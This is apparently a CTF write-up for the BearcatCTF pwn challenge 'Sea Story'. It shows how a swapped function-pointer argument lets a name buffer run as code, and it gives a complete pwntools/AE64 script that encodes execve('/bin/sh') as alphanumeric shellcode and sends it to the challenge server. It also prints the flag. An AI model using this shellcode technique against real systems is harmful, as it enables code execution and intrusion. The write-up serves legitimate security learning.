Sea Story

BearcatCTFby smothy

Sea Story - PWN

Points: 349 | Flag: BCCTF{i_rEalLy_l1ke_sHeLcOde_go0d_joB} | Solved by: Smothy @ 0xN1umb

pirate hacking vibes

what we got

Binary called vuln - a "pirate story simulator" where you pick a choice and enter your name. Gives you 4 options: sail through storm, scout the sea, eat a coconut, jump off the boat.

checksec: Full RELRO | Canary | PIE | Stack: Executable (RWE)

stack is executable... thats a hint lol

the solve

decompiled handlePirate - it takes a string and a function pointer, prints the string then calls the function pointer:

c
void handlePirate(const char *name, void (*func)()) {
    printf("Let's find out your fate %s\n", name);
    func();  // call *rdx
}

then looked at how each option calls it. options 1, 2, 4 are normal - handlePirate(name, storyFunction). but option 3 (eat a coconut) has the args swapped:

c
case 3:
    handlePirate(eatCoconut, s);  // s = our name buffer, gets CALLED as code

so our name buffer gets executed as a function. but theres a catch - the name has to pass is_alphanum_string(), meaning every byte must be a-z, A-Z, or 0-9. classic alphanumeric shellcode challenge.

used AE64 to encode a minimal execve("/bin/sh") into alphanumeric x64 shellcode. RDX conveniently points to our buffer when its called (call *rdx), so AE64 can use it as the base register to decode in-place.

python
from ae64 import AE64
from pwn import *

context.arch = 'amd64'

shellcode = asm('''
    push 59
    pop rax
    cdq
    xor esi, esi
    push rdx
    mov rdi, 0x68732f6e69622f
    push rdi
    push rsp
    pop rdi
    syscall
''')  # 22 bytes raw

encoder = AE64()
encoded = encoder.encode(shellcode, 'rdx')  # 141 bytes, all alphanumeric

p = remote('chal.bearcatctf.io', 40385)
p.sendline(b'3')
p.recvuntil(b'name?')
sleep(1)
p.send(encoded)
sleep(2)
p.sendline(b'cat flag*')
p.interactive()

22 bytes raw → 141 bytes alphanumeric encoded (limit was 149). tight fit ngl

$ cat flag.txt BCCTF{i_rEalLy_l1ke_sHeLcOde_go0d_joB}

flag

BCCTF{i_rEalLy_l1ke_sHeLcOde_go0d_joB}


smothy out ✌️